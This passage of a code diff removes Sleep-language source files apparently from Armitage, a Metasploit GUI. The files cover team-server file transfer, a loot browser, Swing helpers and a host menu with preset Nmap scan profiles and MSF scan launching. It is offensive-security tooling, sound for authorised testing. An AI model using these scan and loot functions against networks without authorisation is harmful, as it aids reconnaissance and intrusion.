return $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
|
|
||||||
$DESCRIBE = "$nick $+ @ $+ $3";
|
|
||||||
return $mclient;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub uploadFile {
|
|
||||||
local('$handle %r $data');
|
|
||||||
|
|
||||||
$handle = openf($1);
|
|
||||||
$data = readb($handle, -1);
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
%r = call($mclient, "armitage.upload", getFileName($1), $data);
|
|
||||||
return %r['file'];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub uploadBigFile {
|
|
||||||
local('$handle %r $data $file $progress $total $sofar $time $start');
|
|
||||||
|
|
||||||
$total = lof($1);
|
|
||||||
$progress = [new javax.swing.ProgressMonitor: $null, "Upload " . getFileName($1), "Starting upload", 0, lof($1)];
|
|
||||||
$start = ticks();
|
|
||||||
$handle = openf($1);
|
|
||||||
$data = readb($handle, 1024 * 256);
|
|
||||||
%r = call($mclient, "armitage.upload", getFileName($1), $data);
|
|
||||||
$sofar += strlen($data);
|
|
||||||
|
|
||||||
while $data (readb($handle, 1024 * 256)) {
|
|
||||||
$time = (ticks() - $start) / 1000.0;
|
|
||||||
[$progress setProgress: $sofar];
|
|
||||||
[$progress setNote: "Speed: " . round($sofar / $time) . " bytes/second"];
|
|
||||||
call($mclient, "armitage.append", getFileName($1), $data);
|
|
||||||
$sofar += strlen($data);
|
|
||||||
}
|
|
||||||
[$progress close];
|
|
||||||
return %r['file'];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub downloadFile {
|
|
||||||
local('$file $handle %r $2');
|
|
||||||
%r = call($mclient, "armitage.download", $1);
|
|
||||||
$file = iff($2, $2, getFileName($1));
|
|
||||||
$handle = openf("> $+ $file");
|
|
||||||
writeb($handle, %r['data']);
|
|
||||||
closef($handle);
|
|
||||||
return $file;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub getFileContent {
|
|
||||||
local('$file $handle %r');
|
|
||||||
if ($mclient !is $client) {
|
|
||||||
%r = call($mclient, "armitage.download_nodelete", $1);
|
|
||||||
return %r['data'];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$handle = openf($1);
|
|
||||||
$file = readb($handle, -1);
|
|
||||||
closef($handle);
|
|
||||||
return $file;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# returns the folder where files should be downloaded to!
|
|
||||||
sub downloadDirectory {
|
|
||||||
if ($client is $mclient) {
|
|
||||||
local('@dirs $start $dir');
|
|
||||||
$start = dataDirectory();
|
|
||||||
push(@dirs, "downloads");
|
|
||||||
addAll(@dirs, @_);
|
|
||||||
|
|
||||||
foreach $dir (@dirs) {
|
|
||||||
if (isWindows()) {
|
|
||||||
$dir = strrep($dir, "/", "\\", ":", "");
|
|
||||||
}
|
|
||||||
$start = getFileProper($start, $dir);
|
|
||||||
}
|
|
||||||
return $start;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return "downloads/" . join("/", @_);
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,92 +0,0 @@
|
||||||
#
|
|
||||||
# Loot browser (not yet complete... on hold until more post/ modules have loot)
|
|
||||||
#
|
|
||||||
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
sub updateDownloadModel {
|
|
||||||
thread(lambda({
|
|
||||||
local('$root $files $entry $findf $hosts $host');
|
|
||||||
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
$files = call($mclient, "armitage.downloads");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$files = listDownloads(downloadDirectory());
|
|
||||||
}
|
|
||||||
|
|
||||||
[$model clear: 256];
|
|
||||||
|
|
||||||
foreach $entry ($files) {
|
|
||||||
$entry["date"] = rtime($entry["updated_at"] / 1000.0);
|
|
||||||
[$model addEntry: $entry];
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}, \$model));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createDownloadBrowser {
|
|
||||||
local('$table $model $panel $refresh $sorter $host $view $sync');
|
|
||||||
|
|
||||||
$model = [new GenericTableModel: @("host", "name", "path", "size", "date"), "location", 16];
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
setupSizeRenderer($table, "size");
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 0];
|
|
||||||
[$sorter setComparator: 0, &compareHosts];
|
|
||||||
[$sorter setComparator: 3, {
|
|
||||||
return $1 <=> $2;
|
|
||||||
}];
|
|
||||||
[$sorter setComparator: 4, {
|
|
||||||
return convertDate($1) <=> convertDate($2);
|
|
||||||
}];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
addMouseListener($table, lambda({
|
|
||||||
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
|
|
||||||
showLoot(\$model, \$table, $getme => "location");
|
|
||||||
}
|
|
||||||
}, \$model, \$table));
|
|
||||||
|
|
||||||
$view = [new JButton: "View"];
|
|
||||||
|
|
||||||
if ($client is $mclient) {
|
|
||||||
$sync = [new JButton: "Open Folder"];
|
|
||||||
[$sync addActionListener: gotoFile([new java.io.File: getFileProper(dataDirectory(), "downloads")])];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$sync = [new JButton: "Sync Files"];
|
|
||||||
[$sync addActionListener: lambda({
|
|
||||||
downloadLoot(\$model, \$table, $getme => "location", $type => "downloads");
|
|
||||||
}, \$model, \$table)];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$view addActionListener: lambda({
|
|
||||||
showLoot(\$model, \$table, $getme => "location");
|
|
||||||
}, \$model, \$table)];
|
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
[$refresh addActionListener: lambda({
|
|
||||||
updateDownloadModel(\$model);
|
|
||||||
}, \$model)];
|
|
||||||
|
|
||||||
updateDownloadModel(\$model);
|
|
||||||
|
|
||||||
[$panel add: center($view, $sync, $refresh), [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$frame addTab: "Downloads", $panel, $null];
|
|
||||||
}
|
|
|
@ -1,548 +0,0 @@
|
||||||
#
|
|
||||||
# This file defines the main GUI and loads additional modules
|
|
||||||
#
|
|
||||||
|
|
||||||
debug(7 | 34);
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.border.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
import javax.swing.tree.*;
|
|
||||||
import javax.imageio.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.image.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import java.awt.datatransfer.*;
|
|
||||||
|
|
||||||
import graph.*;
|
|
||||||
import armitage.*;
|
|
||||||
import table.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
# Create a new menu, returns the menu, you have to attach it to something
|
|
||||||
# menu([$parent], "Name", 'Accelerator')
|
|
||||||
sub menu {
|
|
||||||
return invoke(&_menu, filter_data_array("menu_parent", @_));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _menu {
|
|
||||||
local('$menu');
|
|
||||||
if (size(@_) == 2) {
|
|
||||||
$menu = [new JMenu: $1];
|
|
||||||
|
|
||||||
if ($2 !is $null) {
|
|
||||||
[$menu setMnemonic: casti(charAt($2, 0), 'c')];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$menu = invoke(&menu, sublist(@_, 1));
|
|
||||||
[$1 add: $menu];
|
|
||||||
}
|
|
||||||
return $menu;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub dynmenu {
|
|
||||||
local('$menu');
|
|
||||||
$menu = [new DynamicMenu: $2];
|
|
||||||
[$menu setMnemonic: casti(charAt($3, 0), 'c')];
|
|
||||||
[$menu setHandler: $4];
|
|
||||||
[$1 add: $menu];
|
|
||||||
return $menu;
|
|
||||||
}
|
|
||||||
|
|
||||||
# create a separator in the parent menu
|
|
||||||
sub separator {
|
|
||||||
[$1 addSeparator];
|
|
||||||
}
|
|
||||||
|
|
||||||
# create a menu item, attaches it to the specified parent (based on the Name)
|
|
||||||
# item($parent, "Name", 'accelerator', &listener)
|
|
||||||
sub item {
|
|
||||||
return invoke(&_item, filter_data_array("menu_item", @_));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _item {
|
|
||||||
local('$item');
|
|
||||||
if ($1 is $null || $2 is $null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$item = [new JMenuItem: $2];
|
|
||||||
if ($3 !is $null) {
|
|
||||||
[$item setMnemonic: casti(charAt($3, 0), 'c')];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($4 is $null) { warn("Incomplete: " . @_); }
|
|
||||||
|
|
||||||
[$item addActionListener: lambda({
|
|
||||||
invoke($function);
|
|
||||||
}, $function => $4)];
|
|
||||||
|
|
||||||
[$1 add: $item];
|
|
||||||
return $item;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub dispatchEvent {
|
|
||||||
if ([SwingUtilities isEventDispatchThread]) {
|
|
||||||
[$1];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[SwingUtilities invokeLater: $1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showError {
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
[JOptionPane showMessageDialog: $__frame__, $message];
|
|
||||||
}, $message => $1));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showErrorAndQuit {
|
|
||||||
[JOptionPane showMessageDialog: $__frame__, $1];
|
|
||||||
[$__frame__ closeConnect];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub ask {
|
|
||||||
local('$2');
|
|
||||||
return [JOptionPane showInputDialog: "$1", "$2"];
|
|
||||||
}
|
|
||||||
|
|
||||||
# askYesNo("title", "text")
|
|
||||||
sub askYesNo {
|
|
||||||
return [JOptionPane showConfirmDialog: $null, $1, $2, [JOptionPane YES_NO_OPTION]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub chooseFile {
|
|
||||||
local('$fc $file $title $sel $dir $multi $always $dirsonly');
|
|
||||||
|
|
||||||
if ($REMOTE && $always is $null) {
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
local('$file');
|
|
||||||
$file = chooseFile(\$title, \$file, \$sel, \$dir, \$dirsonly, \$multi, \$fc, $always => 1);
|
|
||||||
if (-exists $file) {
|
|
||||||
warn("Uploading $file");
|
|
||||||
return uploadFile($file);
|
|
||||||
}
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return ask("Please type a file name:");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
$fc = [new JFileChooser];
|
|
||||||
|
|
||||||
if ($title !is $null) {
|
|
||||||
[$fc setDialogTitle: $title];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($sel !is $null) {
|
|
||||||
[$fc setSelectedFile: [new java.io.File: $sel]];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($dir !is $null) {
|
|
||||||
[$fc setCurrentDirectory: [new java.io.File: $dir]];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($multi !is $null) {
|
|
||||||
[$fc setMultiSelectionEnabled: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($dirsonly !is $null) {
|
|
||||||
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$fc showOpenDialog: $__frame__];
|
|
||||||
|
|
||||||
if ($multi) {
|
|
||||||
return [$fc getSelectedFiles];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$file = [$fc getSelectedFile];
|
|
||||||
if ($file !is $null) {
|
|
||||||
if (-exists $file) {
|
|
||||||
return $file;
|
|
||||||
}
|
|
||||||
showError("$file does not exist!");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub saveFile2 {
|
|
||||||
local('$fc $file $sel');
|
|
||||||
$fc = [new JFileChooser];
|
|
||||||
|
|
||||||
if ($sel !is $null) {
|
|
||||||
[$fc setSelectedFile: [new java.io.File: $sel]];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ([$fc showSaveDialog: $__frame__] == 0) {
|
|
||||||
$file = [$fc getSelectedFile];
|
|
||||||
if ($file !is $null) {
|
|
||||||
return $file;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub saveFile {
|
|
||||||
local('$fc $file');
|
|
||||||
$fc = [new JFileChooser];
|
|
||||||
[$fc showSaveDialog: $__frame__];
|
|
||||||
$file = [$fc getSelectedFile];
|
|
||||||
if ($file !is $null) {
|
|
||||||
local('$ihandle $data $ohandle');
|
|
||||||
$ihandle = openf($1);
|
|
||||||
$ohandle = openf("> $+ $file");
|
|
||||||
while $data (readb($ihandle, 8192)) {
|
|
||||||
writeb($ohandle, $data);
|
|
||||||
}
|
|
||||||
closef($ihandle);
|
|
||||||
closef($ohandle);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# label_for("text", width, component)
|
|
||||||
sub label_for {
|
|
||||||
local('$panel $label $size');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
|
|
||||||
|
|
||||||
$label = [new JLabel: $1];
|
|
||||||
|
|
||||||
$size = [$label getPreferredSize];
|
|
||||||
[$label setPreferredSize: [new Dimension: $2, [$size getHeight]]];
|
|
||||||
|
|
||||||
[$panel add: $label];
|
|
||||||
[$panel add: $3];
|
|
||||||
|
|
||||||
if (size(@_) >= 4) {
|
|
||||||
[$panel add: $4];
|
|
||||||
}
|
|
||||||
|
|
||||||
return $panel;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub center {
|
|
||||||
local('$panel $c');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
|
||||||
|
|
||||||
foreach $c (@_) {
|
|
||||||
[$panel add: $c];
|
|
||||||
}
|
|
||||||
|
|
||||||
return $panel;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub left {
|
|
||||||
local('$panel $c');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
|
|
||||||
|
|
||||||
foreach $c (@_) {
|
|
||||||
[$panel add: $c];
|
|
||||||
}
|
|
||||||
|
|
||||||
return $panel;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub dialog {
|
|
||||||
local('$dialog $4');
|
|
||||||
$dialog = [new JDialog: $__frame__, $1];
|
|
||||||
[$dialog setSize: $2, $3];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
[$dialog setLocationRelativeTo: $__frame__];
|
|
||||||
return $dialog;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub window {
|
|
||||||
local('$dialog $4');
|
|
||||||
$dialog = [new JFrame: $1];
|
|
||||||
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
|
||||||
|
|
||||||
fork({
|
|
||||||
[$dialog addWindowListener: {
|
|
||||||
if ($0 eq "windowClosing") {
|
|
||||||
[$__frame__ closeConnect];
|
|
||||||
}
|
|
||||||
}];
|
|
||||||
}, \$__frame__, \$dialog);
|
|
||||||
|
|
||||||
[$dialog setSize: $2, $3];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
return $dialog;
|
|
||||||
}
|
|
||||||
|
|
||||||
# overlay_images(@("image.png", "image2.png", "..."))
|
|
||||||
# constructs an image by overlaying all the specified images over eachother.
|
|
||||||
# this function caches the result so each combination is only created once.
|
|
||||||
sub overlay_images {
|
|
||||||
this('%cache');
|
|
||||||
|
|
||||||
if (join(';', $1) in %cache) {
|
|
||||||
return %cache[join(';', $1)];
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$file $image $buffered $graphics $resource');
|
|
||||||
|
|
||||||
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
|
|
||||||
$graphics = [$buffered createGraphics];
|
|
||||||
foreach $file ($1) {
|
|
||||||
$resource = resource($file);
|
|
||||||
$image = [ImageIO read: $resource];
|
|
||||||
closef($resource);
|
|
||||||
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
$buffered = [$buffered getScaledInstance: 250 / $scale, 194 / $scale, [Image SCALE_SMOOTH]];
|
|
||||||
|
|
||||||
%cache[join(';', $1)] = $buffered;
|
|
||||||
return $buffered;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub iconToImage {
|
|
||||||
if ($1 isa ^ImageIcon) {
|
|
||||||
return [$1 getImage];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
local('$buffered $g');
|
|
||||||
$buffered = [new BufferedImage: [$1 getIconWidth], [$1 getIconHeight], [BufferedImage TYPE_INT_ARGB]];
|
|
||||||
$g = [$buffered createGraphics];
|
|
||||||
[$1 paintIcon: $null, $g, $2, $3];
|
|
||||||
[$g dispose];
|
|
||||||
return $buffered;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub imageToImage {
|
|
||||||
local('$buffered $g');
|
|
||||||
$buffered = [new BufferedImage: [$1 getWidth: $null], [$1 getHeight: $null], [BufferedImage TYPE_INT_ARGB]];
|
|
||||||
$g = [$buffered createGraphics];
|
|
||||||
[$g drawImage: $1, 0, 0, [$1 getWidth: $null], [$1 getHeight: $null], $null];
|
|
||||||
[$g dispose];
|
|
||||||
return $buffered;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub select {
|
|
||||||
local('$combo');
|
|
||||||
$combo = [new JComboBox: cast($1, ^String)];
|
|
||||||
[$combo setSelectedItem: $2];
|
|
||||||
return $combo;
|
|
||||||
}
|
|
||||||
|
|
||||||
# buildTreeNodes(@)
|
|
||||||
sub buildTree {
|
|
||||||
local('%nodes $entry $parent $path');
|
|
||||||
|
|
||||||
foreach $entry ($1) {
|
|
||||||
$parent = %nodes;
|
|
||||||
foreach $path (split('\\/', $entry)) {
|
|
||||||
if ($path !in $parent) {
|
|
||||||
$parent[$path] = %();
|
|
||||||
}
|
|
||||||
$parent = $parent[$path];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return %nodes;
|
|
||||||
}
|
|
||||||
|
|
||||||
# treeNodes($1, buildTree(@(...)))
|
|
||||||
sub treeNodes {
|
|
||||||
local('$temp $p');
|
|
||||||
|
|
||||||
if ($1 is $null) {
|
|
||||||
$1 = [new DefaultMutableTreeNode: "modules"];
|
|
||||||
[$1 setAllowsChildren: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
foreach $temp (sorta(keys($2))) {
|
|
||||||
$p = [new DefaultMutableTreeNode: $temp];
|
|
||||||
[$p setAllowsChildren: 1];
|
|
||||||
|
|
||||||
if (size($2[$temp]) > 0) {
|
|
||||||
treeNodes($p, $2[$temp]);
|
|
||||||
}
|
|
||||||
|
|
||||||
[$1 add: $p];
|
|
||||||
}
|
|
||||||
|
|
||||||
return $1;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub wrapComponent {
|
|
||||||
local('$panel');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
[$panel add: $1, [BorderLayout CENTER]];
|
|
||||||
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $2, $2, $2]];
|
|
||||||
return $panel;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub thread {
|
|
||||||
local('$thread');
|
|
||||||
$thread = [new ArmitageThread: $1];
|
|
||||||
[$thread start];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub compareHosts {
|
|
||||||
if ($1 eq "unknown") {
|
|
||||||
return compareHosts("0.0.0.0", $2);
|
|
||||||
}
|
|
||||||
else if ($2 eq "unknown") {
|
|
||||||
return compareHosts($1, "0.0.0.0");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return [Route ipToLong: $1] <=> [Route ipToLong: $2];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# tells table to save any edited cells before going forward...
|
|
||||||
sub syncTable {
|
|
||||||
if ([$1 isEditing]) {
|
|
||||||
[[$1 getCellEditor] stopCellEditing];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub isWindows {
|
|
||||||
return iff("*Windows*" iswm systemProperties()["os.name"], 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub selected {
|
|
||||||
return [$2 getSelectedValueFromColumn: $1, $3];
|
|
||||||
}
|
|
||||||
|
|
||||||
# ($table, $model) = setupTable("lead", @rows)
|
|
||||||
sub setupTable {
|
|
||||||
local('$table $model $sorter $row');
|
|
||||||
$model = [new GenericTableModel: $2, $1, 8];
|
|
||||||
foreach $row ($3) {
|
|
||||||
[$model _addEntry: $row];
|
|
||||||
}
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
return @($table, $model);
|
|
||||||
}
|
|
||||||
|
|
||||||
# creates a list dialog,
|
|
||||||
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
|
|
||||||
sub quickListDialog {
|
|
||||||
local('$dialog $panel $table $row $model $button $sorter $after $a $tablef');
|
|
||||||
$dialog = dialog($1, $width, $height);
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
if ($tablef !is $null) {
|
|
||||||
[$tablef: $table, $model];
|
|
||||||
}
|
|
||||||
|
|
||||||
$button = [new JButton: $2];
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
[$callback : [$model getSelectedValueFromColumn: $table, $lead], $table, $model];
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])];
|
|
||||||
|
|
||||||
local('$south');
|
|
||||||
$south = [new JPanel];
|
|
||||||
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
|
|
||||||
|
|
||||||
if ($after !is $null) {
|
|
||||||
foreach $a ($after) {
|
|
||||||
[$south add: $a];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
[$south add: center($button)];
|
|
||||||
|
|
||||||
[$panel add: $south, [BorderLayout SOUTH]];
|
|
||||||
[$dialog add: $panel, [BorderLayout CENTER]];
|
|
||||||
[$dialog show];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setTableColumnWidths {
|
|
||||||
local('$col $width $temp');
|
|
||||||
foreach $col => $width ($2) {
|
|
||||||
[[$1 getColumn: $col] setPreferredWidth: $width];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub tableRenderer {
|
|
||||||
return [ATable getDefaultTableRenderer: $1, $2];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub gotoFile {
|
|
||||||
return lambda({
|
|
||||||
local('$exception');
|
|
||||||
try {
|
|
||||||
if ([Desktop isDesktopSupported]) {
|
|
||||||
[[Desktop getDesktop] open: $f];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
ask("Browse to this file:", $f);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch $exception {
|
|
||||||
showError("Could not open $f $+ \n $+ $exception");
|
|
||||||
}
|
|
||||||
}, $f => $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub isShift {
|
|
||||||
return iff(([$1 getModifiers] & [ActionEvent SHIFT_MASK]) == [ActionEvent SHIFT_MASK], 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
inline safetyCheck {
|
|
||||||
local('$__time');
|
|
||||||
if ($__time == 0) {
|
|
||||||
$__time = ticks();
|
|
||||||
}
|
|
||||||
if ((ticks() - $__time) > 250) {
|
|
||||||
yield 50;
|
|
||||||
$__time = ticks();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub addMouseListener {
|
|
||||||
[$1 addMouseListener: [new SafeMouseListener: $2]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub pad {
|
|
||||||
local('$panel');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
[$panel add: $1, [BorderLayout CENTER]];
|
|
||||||
[$panel setBorder: [BorderFactory createEmptyBorder: $2, $3, $4, $5]];
|
|
||||||
return $panel;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setClipboard {
|
|
||||||
local('$sel $cb');
|
|
||||||
$sel = [new StringSelection: $1];
|
|
||||||
$cb = [[Toolkit getDefaultToolkit] getSystemSelection];
|
|
||||||
if ($cb !is $null) {
|
|
||||||
[$cb setContents: $sel, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
$cb = [[Toolkit getDefaultToolkit] getSystemClipboard];
|
|
||||||
if ($cb !is $null) {
|
|
||||||
[$cb setContents: $sel, $null];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub setupMenu {
|
|
||||||
[$frame setupMenu: $1, $2, _args($3)];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub installMenu {
|
|
||||||
[$frame installMenu: $1, $2, _args($3)];
|
|
||||||
}
|
|
|
@ -1,104 +0,0 @@
|
||||||
import msf.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
sub addHostDialog {
|
|
||||||
local('$dialog $label $text $finish $button');
|
|
||||||
$dialog = [new JDialog: $__frame__, "Add Hosts", 0];
|
|
||||||
[$dialog setSize: 320, 240];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
[$dialog setLocationRelativeTo: $__frame__];
|
|
||||||
|
|
||||||
$label = [new JLabel: "Enter one host/line:"];
|
|
||||||
$text = [new JTextArea];
|
|
||||||
|
|
||||||
$finish = [new JPanel];
|
|
||||||
[$finish setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
|
||||||
|
|
||||||
$button = [new JButton: "Add"];
|
|
||||||
[$finish add: $button];
|
|
||||||
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('@hosts');
|
|
||||||
@hosts = split("[\n\s]", [$text getText]);
|
|
||||||
cmd_safe("hosts -a " . join(" ", @hosts), lambda({
|
|
||||||
showError("Added $x host" . iff($x != 1, "s"));
|
|
||||||
elog("added $x host" . iff($x != 1, "s"));
|
|
||||||
}, $x => size(@hosts)));
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$text, \$dialog)];
|
|
||||||
|
|
||||||
[$dialog add: $label, [BorderLayout NORTH]];
|
|
||||||
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
|
|
||||||
[$dialog add: $finish, [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub host_items {
|
|
||||||
local('$i $j $k');
|
|
||||||
item($1, "Import Hosts", 'I', &importHosts);
|
|
||||||
item($1, "Add Hosts...", 'A', &addHostDialog);
|
|
||||||
setupMenu($1, "hosts_top", @());
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
$j = menu($1, "Nmap Scan", 'S');
|
|
||||||
setupMenu($j, "hosts_nmap", @());
|
|
||||||
item($j, "Intense Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -A -v -n"));
|
|
||||||
item($j, "Intense Scan + UDP", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v"));
|
|
||||||
item($j, "Intense Scan, all TCP ports", $null, createNmapFunction("--min-hostgroup 96 -p 1-65535 -n -T4 -A -v"));
|
|
||||||
item($j, "Intense Scan, no ping", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -A -v -Pn"));
|
|
||||||
item($j, "Ping Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -sn"));
|
|
||||||
item($j, "Quick Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -F"));
|
|
||||||
item($j, "Quick Scan (OS detect)", $null, createNmapFunction("--min-hostgroup 96 -sV -n -T4 -O -F --version-light"));
|
|
||||||
item($j, "Comprehensive", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53"));
|
|
||||||
|
|
||||||
item($1, "MSF Scans...", "M", {
|
|
||||||
local('$address');
|
|
||||||
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(", ", [$targets getSelectedHosts]));
|
|
||||||
if ($address eq "") { return; }
|
|
||||||
launch_msf_scans($address);
|
|
||||||
});
|
|
||||||
|
|
||||||
item($1, "DNS Enumerate", 'D', {
|
|
